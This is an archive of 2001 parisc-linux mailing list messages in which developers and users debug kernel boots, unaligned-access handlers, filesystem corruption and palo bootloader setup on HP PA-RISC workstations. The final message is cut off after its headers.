--0vzXIDBeUiKkjNJl
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

Hello,

And it worked for me! :-) Whooo, I netbooted my new kernel, and am now
attempting an install from the 0.9.2 CD-ROM (I have also set up a local
mirrorlet of the latest hppa packages, so I might try those too).

Regards,

Albert

On Mon, 24 Sep 2001, Jochen Friedrich wrote:

> Hi Albert,
>=20
> > After your changes (making case 18 fall through to case 28), I get the
> > following happy-and-warm-and-fuzzy message:
>=20
> As i said, the second patch didn't work for me, as well. The first one
> (fall through to case 26) did.
>=20
> Cheers,
> Jochen
>=20

--0vzXIDBeUiKkjNJl
Content-Type: application/pgp-signature
Content-Disposition: inline

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.6 (GNU/Linux)
Comment: For info see http://www.gnupg.org

iD8DBQE7ryvKDg+hOeRZtkMRAsXwAJsHlM1EVcOF/PVpsW6KC+1/d19vLwCdGT22
21QNQYxFUB2efiZcmObtsVU=
=XN+L
-----END PGP SIGNATURE-----

--0vzXIDBeUiKkjNJl--




From - Thu Nov 08 21:19:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Albert Strasheim <fullung@ilink.nis.za>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Betr.: Re: [parisc-linux] Debian bootfloppies with -pa22 fails on 720/50
Date: Mon, 24 Sep 2001 14:52:00 +0200
Lines: 74
Approved: news@gmane.org
Message-ID: <20010924145200.E8726@dogbert.localdomain>
References: <sbaf46e9.067@ms-zrt1>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha1;
	protocol="application/pgp-signature"; boundary="zS7rBR6csb6tI2e1"
X-Trace: ger.gmane.org 1416620509 26018 80.91.229.3 (22 Nov 2014 01:41:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:41:49 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Jurriaan Kalkman <Jurriaan.Kalkman@zrt.nl>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Sep 24 06:59:23 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from maties2.sun.ac.za (maties2.sun.ac.za [146.232.128.10])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0522048BA
	for <parisc-linux@lists.parisc-linux.org>; Mon, 24 Sep 2001 06:59:22 -0600 (MDT)
Original-Received: from dogbert.sdsl.sun.ac.za ([146.232.83.63])
	by maties2.sun.ac.za with smtp (Exim 3.33 #1)
	id 15lVKR-0001wZ-00
	for parisc-linux@lists.parisc-linux.org; Mon, 24 Sep 2001 14:59:19 +0200
Original-Received: (qmail 7112 invoked from network); 24 Sep 2001 12:52:38 -0000
Original-Received: from unknown (HELO dogbert.localdomain) (192.168.1.2)
  by 0 with SMTP; 24 Sep 2001 12:52:38 -0000
Original-Received: from fullung by dogbert.localdomain with local (Exim 3.32 #1 (Debian))
	id 15lVDM-0002Is-00; Mon, 24 Sep 2001 14:52:00 +0200
Content-Disposition: inline
In-Reply-To: <sbaf46e9.067@ms-zrt1>
User-Agent: Mutt/1.3.20i
Original-Sender: Albert Strasheim <fullung@dogbert.localdomain>
X-Scanner: exiscan *15lVKR-0001wZ-00*P1XfTJCJNnA* http://duncanthrax.net/exiscan/
Xref: news.gmane.org gmane.linux.ports.parisc:12275

--zS7rBR6csb6tI2e1
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

Hello,

I've since tried the other case 18 fall-through option, and it worked up
to the point where I am now installing from the 0.9.2 CD-ROM.

Do you still want me to decode this crash?

Regards,

Albert

On Mon, 24 Sep 2001, Jurriaan Kalkman wrote:

> >Eek! :-)
> >
> >After your changes (making case 18 fall through to case 28), I get the
> >following happy-and-warm-and-fuzzy message:
> >
> >...
> >VFS: Mounted root (nfs filesystem) readonly.
> >init(1): unaligned access to 0x00090cf4 at ip=3D0x000157af
> >init[1]: Unaligned data reference 28
> >
> >     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
> >PSW: 00000000000001001111111100001111
> >r0-3     00000000 1035d973 1010ccb8 10038258
> >r4-7     10038648 ffffffff 00000012 faf0004c
> >r8-11    00000000 00069c48 000100c4 00014dd8
> >r12-15   10348000 00000000 00000000 00000000
> >r16-19   10038258 00000000 10348000 00000000
> >r20-23   00090cf4 0000001f 00000000 10038258
> >r24-27   00000001 00000001 1027b8e0 102a4010
> >r28-31   00000000 00000004 10038800 10118338
> >sr0-3    00000000 105b60c0 00000000 00000001
> >sr4-7    00000000 00000000 00000000 00000000
> >
> >IASQ: 00000000 00000000 IAOQ: 1010ca64 1010ca68
> > IIR: 0e93d222    ISR: 00000001  IOR: 00090cf4
> > CPU:        0   CR30: 10038000 CR31: 10350000
> > ORIG_R28: 10038600
> >Kernel panic: Attempted to kill init!
> >
> >This doesn't mean much to me, so let me know what you want me to do now.
> >:-)
> >
> Look up the thread on 'nmap -O fails on 712/60' from just 2 weeks ago and
> decode this using your own system.map.....
>=20
> Good luck,
> Jurriaan
>=20

--zS7rBR6csb6tI2e1
Content-Type: application/pgp-signature
Content-Disposition: inline

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.6 (GNU/Linux)
Comment: For info see http://www.gnupg.org

iD8DBQE7ryxvDg+hOeRZtkMRAsFKAJ4vTcp7qLZFOKUSA8iIWiHiS0INWwCfX9o3
XikgXTs/GHsnmdqXyeglHSA=
=/K62
-----END PGP SIGNATURE-----

--zS7rBR6csb6tI2e1--




From - Thu Nov 08 21:19:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell Jr." <carlos@megatonmonkey.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Debian bootfloppies with -pa22 fails on 720/50
Date: Mon, 24 Sep 2001 12:49:31 -0400
Lines: 28
Approved: news@gmane.org
Message-ID: <20010924124931.B10662@megatonmonkey.net>
References: <20010924132145.B8726@dogbert.localdomain> <Pine.NEB.4.33.0109241435300.9317-100000@www2.scram.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620510 26020 80.91.229.3 (22 Nov 2014 01:41:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:41:50 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Sep 24 10:49:34 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from megatonmonkey.net (cr821974-a.lndn1.on.wave.home.com [24.112.53.173])
	by dsl2.external.hp.com (Postfix) with ESMTP id 45E8A489E
	for <parisc-linux@parisc-linux.org>; Mon, 24 Sep 2001 10:49:34 -0600 (MDT)
Original-Received: from sh.od.inet (IDENT:root@systemhalted [192.168.1.1])
	by megatonmonkey.net (8.11.0/8.11.0) with ESMTP id f8OHDZG27183
	for <parisc-linux@parisc-linux.org>; Mon, 24 Sep 2001 13:13:35 -0400
Original-Received: (from carlos@localhost)
	by sh.od.inet (8.11.0/8.11.0) id f8OGnVa10730
	for parisc-linux@parisc-linux.org; Mon, 24 Sep 2001 12:49:31 -0400
Mail-Followup-To: "Carlos O'Donell Jr." <carlos@megatonmonkey.net>,
	parisc-linux@parisc-linux.org
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <Pine.NEB.4.33.0109241435300.9317-100000@www2.scram.de>; from jochen@scram.de on Mon, Sep 24, 2001 at 02:36:17PM +0200
X-Useless-Header: oooohhmmm, chant the email mantra...
Xref: news.gmane.org gmane.linux.ports.parisc:12276

> 
> > After your changes (making case 18 fall through to case 28), I get the
> > following happy-and-warm-and-fuzzy message:
> 
> As i said, the second patch didn't work for me, as well. The first one
> (fall through to case 26) did.
> 
> Cheers,
> Jochen
>

There has been a lot of recent work on adding the unaligned 
handlers that were missing.  I think that previously, most of 
the handlers for the older CPU's hadn't been written... now that
they are there, the fallthrough case has more support.

I'm glad that Albert got his system working.
(Crosses fingers)

Someone should look into incorporating that kludge for the 720/50
machines.

Where are the oracles of the CVS? :)

c. 




From - Thu Nov 08 21:19:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Albert Strasheim <fullung@ilink.nis.za>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Debian bootfloppies with -pa22 fails on 720/50
Date: Mon, 24 Sep 2001 19:44:56 +0200
Lines: 65
Approved: news@gmane.org
Message-ID: <20010924194456.A9406@dogbert.localdomain>
References: <20010924132145.B8726@dogbert.localdomain> <Pine.NEB.4.33.0109241435300.9317-100000@www2.scram.de> <20010924124931.B10662@megatonmonkey.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha1;
	protocol="application/pgp-signature"; boundary="HlL+5n6rz5pIUxbD"
X-Trace: ger.gmane.org 1416620510 26029 80.91.229.3 (22 Nov 2014 01:41:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:41:50 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Carlos O'Donell Jr." <carlos@megatonmonkey.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Sep 24 11:52:28 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from maties2.sun.ac.za (maties2.sun.ac.za [146.232.128.10])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5A9A3489E
	for <parisc-linux@lists.parisc-linux.org>; Mon, 24 Sep 2001 11:52:27 -0600 (MDT)
Original-Received: from dogbert.sdsl.sun.ac.za ([146.232.83.63])
	by maties2.sun.ac.za with smtp (Exim 3.33 #1)
	id 15lZtz-00025D-00
	for parisc-linux@lists.parisc-linux.org; Mon, 24 Sep 2001 19:52:19 +0200
Original-Received: (qmail 7446 invoked from network); 24 Sep 2001 17:45:37 -0000
Original-Received: from unknown (HELO dogbert.localdomain) (192.168.1.2)
  by 0 with SMTP; 24 Sep 2001 17:45:37 -0000
Original-Received: from fullung by dogbert.localdomain with local (Exim 3.32 #1 (Debian))
	id 15lZmq-0002ST-00; Mon, 24 Sep 2001 19:44:56 +0200
Content-Disposition: inline
In-Reply-To: <20010924124931.B10662@megatonmonkey.net>
User-Agent: Mutt/1.3.20i
Original-Sender: Albert Strasheim <fullung@dogbert.localdomain>
X-Scanner: exiscan *15lZtz-00025D-00*4/913y6Je6k* http://duncanthrax.net/exiscan/
Xref: news.gmane.org gmane.linux.ports.parisc:12277

--HlL+5n6rz5pIUxbD
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

Hello,

On Mon, 24 Sep 2001, Carlos O'Donell Jr. wrote:

> > > After your changes (making case 18 fall through to case 28), I get the
> > > following happy-and-warm-and-fuzzy message:
> >=20
> > As i said, the second patch didn't work for me, as well. The first one
> > (fall through to case 26) did.
> >=20
> > Cheers,
> > Jochen
> >
>=20
> There has been a lot of recent work on adding the unaligned=20
> handlers that were missing.  I think that previously, most of=20
> the handlers for the older CPU's hadn't been written... now that
> they are there, the fallthrough case has more support.

I'd be happy to test these whenever possible. :-)
=20
> I'm glad that Albert got his system working.
> (Crosses fingers)

I am currently battling the install process. I'm as far as creating the
f0, swap and root partitions on the drive, fscking and mounting them,
but the installation of the base system (starting with drivers.tgz and
rescue.bin) is giving problems. For some reason I can netboot a kernel
fine (and also use a nfsroot), but when it comes time to do a network
install, the installer can't even find my BOOTP server...

I'm currently trying the CD-ROM install, but my last attempt failed with
the following message during the installation of the rescue disk:

ioctl: LOOP_CLR_FD: No such device or address

So that's where I am now... but it's looking better. I'm going to try
the CD-ROM install again now.

Regards,

Albert

--HlL+5n6rz5pIUxbD
Content-Type: application/pgp-signature
Content-Disposition: inline

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.6 (GNU/Linux)
Comment: For info see http://www.gnupg.org

iD8DBQE7r3EXDg+hOeRZtkMRAtYxAJ49NhJ3N4qgon1OX3AsAmdwR2jbRgCfc0sj
arqqjhL7syko6SZSHFd9iuE=
=hA1s
-----END PGP SIGNATURE-----

--HlL+5n6rz5pIUxbD--




From - Thu Nov 08 21:19:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Filesystem corruption
Date: Mon, 24 Sep 2001 20:50:00 +0100
Lines: 61
Approved: news@gmane.org
Message-ID: <20010924205000.H5051@linuxcare.com>
References: <20010924100251.B13826@hp.is>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620510 26038 80.91.229.3 (22 Nov 2014 01:41:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:41:50 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Richard Allen <ra@hp.is>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Sep 24 13:51:22 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from rhirst.linuxcare.com (pc1-hems4-0-cust107.bre.cable.ntl.com [213.105.88.107])
	by dsl2.external.hp.com (Postfix) with ESMTP id D3D39489E
	for <parisc-linux@lists.parisc-linux.org>; Mon, 24 Sep 2001 13:51:21 -0600 (MDT)
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id 9A115B00C; Mon, 24 Sep 2001 20:50:00 +0100 (BST)
X-Mailer: Mutt 1.0us
In-Reply-To: <20010924100251.B13826@hp.is>; from ra@hp.is on Mon, Sep 24, 2001 at 10:02:51AM +0000
Xref: news.gmane.org gmane.linux.ports.parisc:12278

I have just installed a C360 from a new ISO I made, which uses a
2.4.9-pa25 kernel.  That installed ok; I built a kernel, rebooted
and forced an fsck.  Disk was clean.  I didn't leave the system up
all that long - couple of hours maybe.  It is just possible that
the -pa25 change made a difference.  You could perhaps repeat the
exercise, forcing an fsck at the end of install, and again at the
end of kernel build to see when (if) corruption occurs.  I force
an fsck by booting with init=/bin/sh and then e2fsck -f while the
partition is still read-only.

Richard


On Mon, Sep 24, 2001 at 10:02:51AM +0000, Richard Allen wrote:
> I installed the 0.92 system, upgraded everything with apt-get upgrade
> and then compiled the kernel (last fridays snapshot).
> 
> The system in question is a C360, 512K Ram and a 9 Gig HD.
> 
> bofh:~# uname -a
> Linux bofh 2.4.9-pa24 #2 Fri Sep 21 20:40:31 UTC 2001 parisc unknown
> 
> I then patted myself of the back and went home and had myself a good weekend.
> 
> When I returned to work this monday morning I noticed the following in
> my minicom (C360 Console) window:
> 
> bofh login: EXT2-fs error (device sd(8,4)): ext2_check_page: bad entry in directory #870061: directory entry across blocks - offset=0, inode=1701273973, rec_len=24864, name_len=115
> Remounting filesystem read-only
> EXT2-fs error (device sd(8,4)): ext2_check_page: bad entry in directory #837235: unaligned directory entry - offset=0, inode=1684107116, rec_len=28265, name_len=103
> Remounting filesystem read-only
> 
> After that all kinds of warnings and errors regarding a read only root.
> I opted for a reboot and I had to run fsck manually and there where lots
> of things fsck wanted me to say "Y" to.
> 
> bofh:/# du -s lost+found/
> 1796    lost+found
> bofh:/# ls -l lost+found | grep -c ^-
> 50
> bofh:/# ls -l lost+found | grep -c ^d
> 20
> 
> I would understand that "sh**" can happen when it crashes or something like
> that, but nothing happened during the weekend.
> 
> -- 
> Rikki.         --  HP Technical Support, RHCE, RHCX, HP-UX Certified Admin.
>                --  Solaris 7 Certified Systems and Network Administrator.
> Bell Labs Unix --  Reach out and grep someone.
> Those who do not understand Unix are condemned to reinvent it, poorly.
> 
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/cgi-bin/mailman/listinfo/parisc-linux
> 




From - Thu Nov 08 21:19:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] kernel 2.5.9-pa24 won't boot 735/125
Date: Mon, 24 Sep 2001 21:02:22 +0100
Lines: 19
Approved: news@gmane.org
Message-ID: <20010924210222.J5051@linuxcare.com>
References: <Pine.LNX.4.33.0109201328390.14604-100000@lefou>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620511 26047 80.91.229.3 (22 Nov 2014 01:41:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:41:51 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Sonny Cook <sonny@aspersion.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Sep 24 14:03:44 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from rhirst.linuxcare.com (pc1-hems4-0-cust107.bre.cable.ntl.com [213.105.88.107])
	by dsl2.external.hp.com (Postfix) with ESMTP id A76CA489E
	for <parisc-linux@lists.parisc-linux.org>; Mon, 24 Sep 2001 14:03:44 -0600 (MDT)
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id 1EC96B00C; Mon, 24 Sep 2001 21:02:22 +0100 (BST)
X-Mailer: Mutt 1.0us
In-Reply-To: <Pine.LNX.4.33.0109201328390.14604-100000@lefou>; from sonny@aspersion.org on Thu, Sep 20, 2001 at 01:33:09PM -0600
Xref: news.gmane.org gmane.linux.ports.parisc:12279

On Thu, Sep 20, 2001 at 01:33:09PM -0600, Sonny Cook wrote:
> Hi,
> I just tried my hand at cross compiling the parisc-linux kernel on my x86
> box.  Something compiled, so I put the vmlinux on my 735/125 and tried to
> boot it.  It went like this:
> 
...
> At this point, I can't even think where to begin looking for problems.
> Any hints?

Don't know what kernel config you used, but the official 32 bit
kernels use arch/parisc/debian-configs/32.  Might be relevant.
Also, trying serial console might be useful, as Jurriaan suggested.

Richard





From - Thu Nov 08 21:19:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Problem installing new kernel
Date: Mon, 24 Sep 2001 21:16:18 +0100
Lines: 26
Approved: news@gmane.org
Message-ID: <20010924211618.K5051@linuxcare.com>
References: <000901c142ff$6bce2410$1900a8c0@aloha> <20010922072842.A4157@middle.of.nowhere>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620511 26055 80.91.229.3 (22 Nov 2014 01:41:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:41:51 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: thunder7@xs4all.nl
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Sep 24 14:17:40 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from rhirst.linuxcare.com (pc1-hems4-0-cust107.bre.cable.ntl.com [213.105.88.107])
	by dsl2.external.hp.com (Postfix) with ESMTP id B1B6A489E
	for <parisc-linux@lists.parisc-linux.org>; Mon, 24 Sep 2001 14:17:39 -0600 (MDT)
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id 3FCB4B00C; Mon, 24 Sep 2001 21:16:18 +0100 (BST)
X-Mailer: Mutt 1.0us
In-Reply-To: <20010922072842.A4157@middle.of.nowhere>; from thunder7@xs4all.nl on Sat, Sep 22, 2001 at 07:28:42AM +0200
Xref: news.gmane.org gmane.linux.ports.parisc:12280

On Sat, Sep 22, 2001 at 07:28:42AM +0200, thunder7@xs4all.nl wrote:
> On Sat, Sep 22, 2001 at 02:42:12AM +0200, Tino Hirschmann wrote:
> > Hi,
> > 
> > i got palinux-0.9.2 running on my HP 715/80. I compiled the kernel as
> > discribed on the webpage.
> > But what do i have to do after i did make palo ?
> > I think make zlilo doesn't work here .-)
> > 

'make palo' will build a vmlinux, and then use that to build a lifimage.
The lifimage is used for netbooting.  If you are booting from disk
you want to copy vmlinux to /boot/vmtest (or something).  Then your
options are either

> Edit /etc/palo.conf and run /sbin/palo

or interact with the ipl somehow (either say 'yes' to the question on boot,
or use 'bo isl', depending on machine), and edit the kernel name to
be vmtest.

Richard





From - Thu Nov 08 21:19:19 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matt Taggart <taggart@carmen.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Don't Use base tarballs (was Re: [parisc-linux] nfsroot login 
 problems on 720/50)
Date: Mon, 24 Sep 2001 14:37:57 -0600
Lines: 23
Approved: news@gmane.org
Message-ID: <20010924203757.BCCE337DDD@carmen.fc.hp.com>
References: <20010921193553.A11874@dogbert.localdomain> 
 <20010921180529.C32145@megatonmonkey.net>  <20010922015609.A14166@dogbert.localdomain>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620511 26062 80.91.229.3 (22 Nov 2014 01:41:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:41:51 +0000 (UTC)
Cc: "Carlos O'Donell Jr." <carlos@megatonmonkey.net>,
	parisc-linux@lists.parisc-linux.org
To: Albert Strasheim <fullung@ilink.nis.za>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Sep 24 14:37:59 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from atlrel6.hp.com (atlrel6.hp.com [192.151.27.8])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4C4C7489E
	for <parisc-linux@lists.parisc-linux.org>; Mon, 24 Sep 2001 14:37:59 -0600 (MDT)
Original-Received: from carmen.fc.hp.com (carmen.fc.hp.com [15.1.51.72])
	by atlrel6.hp.com (Postfix) with ESMTP
	id CB6A91F576; Mon, 24 Sep 2001 16:37:58 -0400 (EDT)
Original-Received: from carmen.fc.hp.com (localhost [127.0.0.1])
	by carmen.fc.hp.com (Postfix) with ESMTP
	id BCCE337DDD; Mon, 24 Sep 2001 14:37:57 -0600 (MDT)
X-Mailer: exmh version 2.3.1 01/18/2001 (debian 2.3.1-1) with nmh-1.0.4+dev
In-Reply-To: Message from Albert Strasheim <fullung@ilink.nis.za> 
   of "Sat, 22 Sep 2001 01:56:10 +0200." <20010922015609.A14166@dogbert.localdomain> 
Xref: news.gmane.org gmane.linux.ports.parisc:12281

Albert Strasheim writes...

> Should I try the base tarball (same date... :-( ) or is that known to be
> bad too?

Neither are "bad" just out of date. As soon as we had a real installer 
everyone switched over to using that. They were left there for historical 
reasons.

I have moved them to an old directory to prevent confusion. No one should be 
using these any more. If, for some good reason, you can't use the normal 
installer process then I think the proper way to generate base tarballs now is 
to use the debootstrap tool. If there's enough demand then we could generate 
them and put them on the ftp site again.

-- 
Matt Taggart        Linux Development Lab
taggart@fc.hp.com   HP Linux Systems Operation






From - Thu Nov 08 21:19:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@puffin.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 712/60 boots fine
Date: Mon, 24 Sep 2001 19:50:55 -0600
Lines: 38
Approved: news@gmane.org
Message-ID: <200109250150.TAA30927@puffin.external.hp.com>
References: <20010921211733.A5505@middle.of.nowhere>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620512 26067 80.91.229.3 (22 Nov 2014 01:41:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:41:52 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: thunder7@xs4all.nl
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Sep 24 19:57:39 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id C7D04482C
	for <parisc-linux@lists.parisc-linux.org>; Mon, 24 Sep 2001 19:57:39 -0600 (MDT)
Original-Received: from puffin (IDENT:grundler@localhost [127.0.0.1])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id TAA30927;
	Mon, 24 Sep 2001 19:50:55 -0600
In-Reply-To: Message from thunder7@xs4all.nl 
   of "Fri, 21 Sep 2001 21:17:33 +0200." <20010921211733.A5505@middle.of.nowhere> 
Xref: news.gmane.org gmane.linux.ports.parisc:12282

thunder7@xs4all.nl wrote:
> I guess that means me :-)

Uhm...yeah. :^)

> This is my current palo output:
> 
> jurriaan@pa8200:~$ sudo /sbin/palo
> palo version 0.94 bame@c3k Sat Sep  8 12:33:24 MDT 2001
> ELF32 executable
> Partition Start(MB) End(MB) Id Type
> 1               1      31   f0 Palo
> 2              32    3846   83 ext2
> 3            3847    7661   83 ext2
> 4            7662    8678   82 swap
> ipl: addr 16384 size 28672 entry 0x0
>  ko 0x0 ksz 0 k64o 0x0 k64sz 0 rdo 0 rdsz 0
> <2/boot/vmlinux-2.4.9-pa24 root=/dev/sda2 HOME=/>
> ipl: addr 16384 size 28672 entry 0x0
>  ko 0x44000 ksz 2853588 k64o 0x0 k64sz 0 rdo 0 rdsz 0
> <2/boot/vmlinux-2.4.9-pa24 root=/dev/sda2 HOME=/>
> 
> Now if I understand correctly, palo must
> 
> - warn if there is no f0 partition
> - warn if there is no ext2 partition in the first 2 Gb

warn if the partition with vmlinux (eg /boot/vmlinux) exceeds 2GB.
The problem is palo uses IODC to load data.
IODC can't access beyond 2GB due to signed numbers/offset issues.

Note that your partition 2 violates that rule.

grant





From - Thu Nov 08 21:19:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Albert Strasheim <fullung@ilink.nis.za>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Don't Use base tarballs (was Re: [parisc-linux] nfsroot login problems on 720/50)
Date: Tue, 25 Sep 2001 00:47:00 +0200
Lines: 60
Approved: news@gmane.org
Message-ID: <20010925004700.A9663@dogbert.localdomain>
References: <20010921193553.A11874@dogbert.localdomain> <20010921180529.C32145@megatonmonkey.net> <20010922015609.A14166@dogbert.localdomain> <20010924203757.BCCE337DDD@carmen.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha1;
	protocol="application/pgp-signature"; boundary="0F1p//8PRICkK4MW"
X-Trace: ger.gmane.org 1416620512 26076 80.91.229.3 (22 Nov 2014 01:41:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:41:52 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Matt Taggart <taggart@carmen.fc.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Sep 24 21:08:48 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from maties2.sun.ac.za (maties2.sun.ac.za [146.232.128.10])
	by dsl2.external.hp.com (Postfix) with ESMTP id 85C32482B
	for <parisc-linux@lists.parisc-linux.org>; Mon, 24 Sep 2001 21:08:47 -0600 (MDT)
Original-Received: from dogbert.sdsl.sun.ac.za ([146.232.83.63])
	by maties2.sun.ac.za with smtp (Exim 3.33 #1)
	id 15ledz-0007rN-00
	for parisc-linux@lists.parisc-linux.org; Tue, 25 Sep 2001 00:56:07 +0200
Original-Received: (qmail 7829 invoked from network); 24 Sep 2001 22:49:18 -0000
Original-Received: from unknown (HELO dogbert.localdomain) (192.168.1.2)
  by 0 with SMTP; 24 Sep 2001 22:49:18 -0000
Original-Received: from fullung by dogbert.localdomain with local (Exim 3.32 #1 (Debian))
	id 15leVU-0002W4-00; Tue, 25 Sep 2001 00:47:20 +0200
Content-Disposition: inline
In-Reply-To: <20010924203757.BCCE337DDD@carmen.fc.hp.com>
User-Agent: Mutt/1.3.20i
Original-Sender: Albert Strasheim <fullung@dogbert.localdomain>
X-Scanner: exiscan *15ledz-0007rN-00*MbQJLTyKAck* http://duncanthrax.net/exiscan/
